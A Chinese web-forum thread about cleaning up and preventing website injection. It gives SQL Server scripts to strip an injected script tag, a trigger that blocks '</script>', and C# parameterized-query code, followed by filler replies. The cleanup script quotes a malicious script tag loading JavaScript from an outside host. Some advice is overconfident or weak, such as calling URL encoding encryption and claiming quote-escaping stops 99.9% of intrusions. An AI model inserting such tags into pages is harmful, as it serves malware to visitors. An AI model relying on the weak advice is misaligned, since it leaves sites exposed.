12 第1页 | 共2 页下一页
返回列表 发新帖
查看: 2350|回复: 16
打印 上一主题 下一主题

网站注入与防范的方法

[复制链接]

1023

主题

3

听众

359

积分

设计实习生

Rank: 2

纳金币
335582
精华
0

最佳新人

跳转到指定楼层
楼主
发表于 2011-8-8 09:09:48 |只看该作者 |倒序浏览

最近看到很多人的网站都被注入js,被iframe之类的。非常多。
本人曾接手过一个比较大的网站,被人家入侵了,要我收拾残局。。
1.首先我会检查一下服务器配置,重新配置一次服务器安全,可以参考

http://hi.baidu.

com/zzxap/blog/item/18180000ff921516738b6564.html
2.其次,用麦咖啡自定义策略,即使网站程序有漏洞,别人也很难在文件上写入代码了。

参考自定义策略,有了这个策略,再烂的程序,你也无法写入我的文件

http://hi.baidu.com/zzxap/blog/item/efe093a7e0f2c190d04358ef.html
3.可以用网络超级巡警删除被注入的JS代码。

参考

http://hi.baidu.com/anlish/blog/item/ba45bb18eac77e0534fa4134.html
4.如何批量删除数据库中被注入的代码?

在数据库查询分析器运行这段代码即可

SQL code
DECLARE @fieldtype sysname

SET @fieldtype='varchar'

--删除处理

DECLARE hCForEach CURSOR GLOBAL

FOR

SELECT N'update '+QUOTENAME(o.name)

    +N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'

FROM sysobjects o,syscolumns c,systypes t

WHERE o.id=c.id

    AND OBJECTPROPERTY(o.id,N'IsUserTable')=1

    AND c.xusertype=t.xusertype

    AND t.name=@fieldtype

EXEC sp_MSforeach_Worker @command1=N'?'



5.创建一个触发器,只要有 </script>就不给插入,对性能会有点影响
SQL code
create trigger tr_table_insertupdate

on tablename

for insert,update

as

if exists (

select 1 from inserted

where data like '%</script>%'

)

begin

       RAISERROR ('不能修改或者添加',16,1);

       ROLLBACK TRANSACTION

end

go



6.最重要的还是程序的写法,用参数化SQL或存储过程

例如

C# code
protected void cmdok_Click(object sender, EventArgs e)

    {

        //添加信息

        StringBuilder  sql = new StringBuilder( " insert into m_phone ( pid,PhoneName,num,price,phonetype,onSellTime,color,weight,Video,Camera,phoneSize,phoneSystem,Memorysize,PhoneDesc,Standbytime,ScreenSize,Frequency,InputMethod,Soundrecord,gps,fm,mp3,email,Infrared,game,clock,Calendar,Calculator,Bluetooth)  ");
        sql.Append(" values (@pid,@TextPhoneName,@Textnum,@Textprice,@Dropphonetype2,@TextonSellTime,@Textcolor,@Textweight ");

        

        .................
        SqlParameter[] paras = { new SqlParameter("@pid", SqlDbType.Int, 4) ,

            new SqlParameter("@TextPhoneName", SqlDbType.NVarChar, 50) ,

            new SqlParameter("@Textnum", SqlDbType.Int, 4) ,

            new SqlParameter("@Textprice", SqlDbType.Int, 4) ,

            new SqlParameter("@Dropphonetype2", SqlDbType.VarChar, 20) ,

            new SqlParameter("@TextonSellTime", SqlDbType.DateTime, 8) ,

            new SqlParameter("@Textcolor", SqlDbType.VarChar, 20) ,

            new SqlParameter("@Textweight", SqlDbType.NVarChar, 50) ,
           ...........

        };

        string[] stra = {Dropphonetype.SelectedValue,TextPhoneName.Text , Textnum.Text, Textprice.Text, Dropphonetype2.SelectedValue, TextonSellTime.Text, Textcolor.Text, Textweight.Text,

            .............};
        int a=stra.Length;

        int j;

        

        for ( j = 0; j < a; j++)

        {

            paras[j].Value = stra[j];

           

        }

        int strpid = 0;

        string sqla = sql.ToString();

        try

        {

            SqlHelper.ExcuteNonQurey(sqla, CommandType.Text, paras);//执行添加数据

           

            strpid = Convert.ToInt32(SqlHelper.ExcuteSclare(sqla, CommandType.Text, paras));  //获取刚才插入的id号


        }

        catch (SqlException ex)

        {

            cmdreturn.Text = ex.Message.ToString();
        }
        cmdreturn.Text = strpid.ToString();
。。。。。。。。。

7.通过URL传递的参数要用加密解密

C# code
传输

string szTmp = "safdsfdsafdsfytrsd";

szTmp = Server.UrlEncode(szTmp);

接收

STRING STRA=Server.UrlDecode(request.querystring(szTmp));


8.把要使用的参数处理一下单引号,再放到SQL里面  

  例如 string stra=aa.replace("'","''")
  用参数化SQL可以不用处理单引号

  指定参数类型和过滤掉单引号,就可以杜绝99.9%入侵了


另外说一句:网上那些被人奉如圣经的过滤 update insert  等关键字的程序是用处不大的  upupdatedate 过滤掉 update还是update

还会造成不必要的麻烦
分享到: QQ好友和群QQ好友和群 腾讯微博腾讯微博 腾讯朋友腾讯朋友 微信微信
转播转播0 分享淘帖0 收藏收藏0 支持支持0 反对反对0
回复

使用道具 举报

Asen    

867

主题

0

听众

1万

积分

外协人员

Rank: 7Rank: 7Rank: 7

纳金币
17488
精华
1
沙发
发表于 2011-9-6 10:11:37 |只看该作者
回复

使用道具 举报

tc    

5089

主题

1

听众

33万

积分

首席设计师

Rank: 8Rank: 8

纳金币
-1
精华
0

最佳新人 活跃会员 热心会员 灌水之王 突出贡献

板凳
发表于 2012-2-3 23:22:10 |只看该作者
无聊时可以刷屏幕 灌水 也可以试试 帖子的标题究竟可以写多长
回复

使用道具 举报

1023

主题

3

听众

359

积分

设计实习生

Rank: 2

纳金币
335582
精华
0

最佳新人

地板
发表于 2012-2-10 23:20:01 |只看该作者
跑着去顶朋友滴铁
回复

使用道具 举报

tc    

5089

主题

1

听众

33万

积分

首席设计师

Rank: 8Rank: 8

纳金币
-1
精华
0

最佳新人 活跃会员 热心会员 灌水之王 突出贡献

5#
发表于 2012-2-21 23:22:52 |只看该作者
再看一看,再顶楼主
回复

使用道具 举报

tc    

5089

主题

1

听众

33万

积分

首席设计师

Rank: 8Rank: 8

纳金币
-1
精华
0

最佳新人 活跃会员 热心会员 灌水之王 突出贡献

6#
发表于 2012-4-13 23:24:49 |只看该作者
呵呵,很漂亮啊
回复

使用道具 举报

5969

主题

1

听众

39万

积分

首席设计师

Rank: 8Rank: 8

纳金币
-1
精华
0

最佳新人 活跃会员 热心会员 灌水之王 突出贡献

7#
发表于 2012-5-8 23:25:50 |只看该作者
好,真棒!!
回复

使用道具 举报

5969

主题

1

听众

39万

积分

首席设计师

Rank: 8Rank: 8

纳金币
-1
精华
0

最佳新人 活跃会员 热心会员 灌水之王 突出贡献

8#
发表于 2012-6-22 23:24:18 |只看该作者
俺是新人,这厢有礼了!
回复

使用道具 举报

462

主题

1

听众

31万

积分

首席设计师

Rank: 8Rank: 8

纳金币
2
精华
0

最佳新人 活跃会员 热心会员 灌水之王 突出贡献

9#
发表于 2012-7-7 23:19:02 |只看该作者
响应天帅号召,顶
回复

使用道具 举报

   

671

主题

1

听众

3247

积分

中级设计师

Rank: 5Rank: 5

纳金币
324742
精华
0

最佳新人 活跃会员 热心会员 灌水之王 突出贡献

10#
发表于 2012-7-30 23:25:32 |只看该作者
先顶上去,偶要高亮加精鸟!
回复

使用道具 举报

12 第1页 | 共2 页下一页
返回列表 发新帖
您需要登录后才可以回帖 登录 | 立即注册

关闭

站长推荐上一条 /1 下一条

手机版|纳金网 ( 闽ICP备08008928号

GMT+8, 2024-5-12 00:07 , Processed in 0.140839 second(s), 29 queries .

Powered by Discuz!-创意设计 X2.5

© 2008-2019 Narkii Inc.

回顶部